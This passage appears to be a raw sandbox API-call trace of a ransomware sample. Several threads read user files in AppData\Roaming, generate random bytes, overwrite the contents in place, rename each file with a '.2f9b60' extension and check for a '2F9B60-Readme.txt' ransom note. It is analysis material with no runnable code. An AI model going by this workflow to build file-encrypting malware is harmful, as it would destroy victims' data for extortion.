Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x7c7d0a0c [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x4758ac98 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x6e3bcbe9 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x5dc751d3 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x1f509318 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x58c0211 [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x332086fd [0103.537] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x5eb66c41 [0103.538] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x4d4e91f6 [0103.538] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x1f0962a3 [0103.538] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x75c0fac7 [0103.538] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x69eca472 [0103.538] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x5d32de24 [0103.538] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x48ff8104 [0103.538] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x7ccf2f7e [0103.538] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x572c6324 [0103.538] RtlRandomEx (in: Seed=0x27c0f9d0 | out: Seed=0x27c0f9d0) returned 0x5ee1072f [0103.546] ReadFile (in: hFile=0x1784, lpBuffer=0x41f178d0, nNumberOfBytesToRead=0x1c4f, lpNumberOfBytesRead=0x27c0f9d0, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesRead=0x27c0f9d0*=0x1c4f, lpOverlapped=0x0) returned 1 [0103.546] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.546] WriteFile (in: hFile=0x1784, lpBuffer=0x41f1b4e0*, nNumberOfBytesToWrite=0x1c4f, lpNumberOfBytesWritten=0x27c0f9d4, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesWritten=0x27c0f9d4*=0x1c4f, lpOverlapped=0x0) returned 1 [0104.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0104.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0104.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ed0) returned 1 [0104.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0104.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0104.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0104.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0104.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20262ed0 [0104.043] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.043] WriteFile (in: hFile=0x1784, lpBuffer=0x169b30*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x27c0faf0, lpOverlapped=0x0 | out: lpBuffer=0x169b30*, lpNumberOfBytesWritten=0x27c0faf0*=0x106, lpOverlapped=0x0) returned 1 [0104.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169b30) returned 1 [0104.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0104.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0104.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ed0) returned 1 [0104.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263050) returned 1 [0104.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261970) returned 1 [0104.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262360) returned 1 [0104.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0104.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050aad0 [0104.170] wcscpy (in: _Dest=0x2050aad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc" [0104.170] wcscat (in: _Dest=0x2050aad0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc.2f9b60" [0104.170] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc.2f9b60", NtPathName=0x27c0fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x20501cc0 [0104.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501cc0) returned 1 [0104.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc510) returned 1 [0104.540] NtQueryInformationFile (in: FileHandle=0x1784, IoStatusBlock=0x27c0fb78, FileInformation=0x27c0fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27c0fb78, FileInformation=0x27c0fb88) returned 0x0 [0104.540] NtSetInformationFile (FileHandle=0x1784, IoStatusBlock=0x27c0fb78, FileInformation=0x27c0fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aad0) returned 1 [0104.542] FlushFileBuffers (hFile=0x1784) returned 1 [0104.620] CloseHandle (hObject=0x1784) returned 1 [0104.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4ad0 [0104.621] wcscpy (in: _Dest=0x202a4ad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.621] wcscat (in: _Dest=0x202a4ad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.621] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ad0) returned 1 [0104.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 Thread: id = 926 os_tid = 0x1520 [0101.196] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dn26p6aosqag5.bmp")) returned 0x2020 [0101.196] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp", dwFileAttributes=0x20) returned 1 [0102.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dn26p6aosqag5.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x167c [0102.801] GetFileSizeEx (in: hFile=0x167c, lpFileSize=0x2ed3f6c0 | out: lpFileSize=0x2ed3f6c0*=24292) returned 1 [0102.801] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x5ee0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.801] ReadFile (in: hFile=0x167c, lpBuffer=0x2ed3f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ed3f688, lpOverlapped=0x0 | out: lpBuffer=0x2ed3f640*, lpNumberOfBytesRead=0x2ed3f688*=0x4, lpOverlapped=0x0) returned 1 [0102.802] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0102.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0102.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0102.802] NtQuerySystemTime (in: CurrentTime=0x2ed3f580 | out: CurrentTime=0x2ed3f580*=132462177083182000) returned 0x0 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x303ce96f [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x237ad18e [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x537505d9 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x311b8435 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0xd20a2 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x4f9a93a3 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0xc8dc7c1 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x21c59676 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x6aed4feb [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x347d6a23 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x67713c0d [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x7b1a4c20 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x67f03fc0 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x66bf1041 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x419f8ca7 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x756cf86 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x661e6f8 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x4dc254a6 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x62c81bfc [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x663e8601 [0102.802] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x64bb43ff [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x303ce96f [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x109409be [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x23b956c6 [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x30e74b42 [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x5e6f5da2 [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x7ef7247e [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x20e02be8 [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x64acc613 [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0xea9d7c0 [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x55727a28 [0102.803] RtlRandomEx (in: Seed=0x2ed3f570 | out: Seed=0x2ed3f570) returned 0x3691d6ee [0102.810] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.810] ReadFile (in: hFile=0x167c, lpBuffer=0x2043f2a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ed3f5e0, lpOverlapped=0x0 | out: lpBuffer=0x2043f2a0*, lpNumberOfBytesRead=0x2ed3f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.810] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0102.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0102.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0102.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0102.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2043b690 [0102.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0102.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0102.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202627e0) returned 1 [0102.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0102.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0102.811] WriteFile (in: hFile=0x167c, lpBuffer=0x2043b690*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ed3f5e0, lpOverlapped=0x0 | out: lpBuffer=0x2043b690*, lpNumberOfBytesWritten=0x2ed3f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043b690) returned 1 [0104.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043f2a0) returned 1 [0104.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f270 [0104.038] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.039] WriteFile (in: hFile=0x167c, lpBuffer=0x4205a650*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2ed3f690, lpOverlapped=0x0 | out: lpBuffer=0x4205a650*, lpNumberOfBytesWritten=0x2ed3f690*=0x114, lpOverlapped=0x0) returned 1 [0104.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0104.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f070) returned 1 [0104.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263830) returned 1 [0104.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f270) returned 1 [0104.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0104.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262810) returned 1 [0104.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0104.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b60) returned 1 [0104.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1690 [0104.166] wcscpy (in: _Dest=0x202b1690, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp" [0104.166] wcscat (in: _Dest=0x202b1690, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp.2f9b60" [0104.166] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp.2f9b60", NtPathName=0x2ed3f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279130 [0104.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0104.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc2e0) returned 1 [0104.538] NtQueryInformationFile (in: FileHandle=0x167c, IoStatusBlock=0x2ed3f718, FileInformation=0x2ed3f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ed3f718, FileInformation=0x2ed3f728) returned 0x0 [0104.538] NtSetInformationFile (FileHandle=0x167c, IoStatusBlock=0x2ed3f718, FileInformation=0x2ed3f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1690) returned 1 [0104.539] FlushFileBuffers (hFile=0x167c) returned 1 [0104.619] CloseHandle (hObject=0x167c) returned 1 [0104.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4a40 [0104.620] wcscpy (in: _Dest=0x202a4a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.620] wcscat (in: _Dest=0x202a4a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.620] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4a40) returned 1 [0104.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ad0) returned 1 Thread: id = 927 os_tid = 0x1524 [0101.199] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFO7LEy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ffo7ley.mp4")) returned 0x2020 [0101.199] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFO7LEy.mp4", dwFileAttributes=0x20) returned 1 [0102.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFO7LEy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ffo7ley.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1624 [0102.409] GetFileSizeEx (in: hFile=0x1624, lpFileSize=0x2ec9f860 | out: lpFileSize=0x2ec9f860*=36596) returned 1 [0102.410] SetFilePointerEx (in: hFile=0x1624, liDistanceToMove=0x8ef0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.410] ReadFile (in: hFile=0x1624, lpBuffer=0x2ec9f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ec9f828, lpOverlapped=0x0 | out: lpBuffer=0x2ec9f7e0*, lpNumberOfBytesRead=0x2ec9f828*=0x4, lpOverlapped=0x0) returned 1 [0102.411] SetFilePointerEx (in: hFile=0x1624, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0102.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0102.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262600 [0102.411] NtQuerySystemTime (in: CurrentTime=0x2ec9f720 | out: CurrentTime=0x2ec9f720*=132462177079282000) returned 0x0 [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x491c8508 [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0xac90068 [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x3edd19a4 [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x1ad16b31 [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0xfa1734f [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x3d36ce5a [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x76f5d5eb [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x710bae43 [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x67173ebd [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x19eedca7 [0102.411] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x6a42d801 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x13eee531 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x2de5bd95 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x6e3b511c [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x35a72231 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x795d2e7e [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0xf1d6557 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x186295f6 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x55619cbd [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x2d347c02 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x1933e24f [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x6b638d77 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x6ab8d816 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x81862d5 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x603e9653 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x67874a87 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x93e717a [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x3e01710c [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x58056d38 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x5bfea529 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0x8e81a90 [0102.412] RtlRandomEx (in: Seed=0x2ec9f710 | out: Seed=0x2ec9f710) returned 0xf0919c [0102.425] SetFilePointerEx (in: hFile=0x1624, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.425] ReadFile (in: hFile=0x1624, lpBuffer=0x1ce6c580, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ec9f780, lpOverlapped=0x0 | out: lpBuffer=0x1ce6c580*, lpNumberOfBytesRead=0x2ec9f780*=0x3c00, lpOverlapped=0x0) returned 1 [0102.425] SetFilePointerEx (in: hFile=0x1624, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0102.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0102.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626f0) returned 1 [0102.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce779b0 [0102.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0102.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262600 [0102.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262600) returned 1 [0102.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0102.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.426] WriteFile (in: hFile=0x1624, lpBuffer=0x1ce779b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ec9f780, lpOverlapped=0x0 | out: lpBuffer=0x1ce779b0*, lpNumberOfBytesWritten=0x2ec9f780*=0x3c00, lpOverlapped=0x0) returned 1 [0102.894] RtlFreeHeap (HeapHandle=0xa0000, 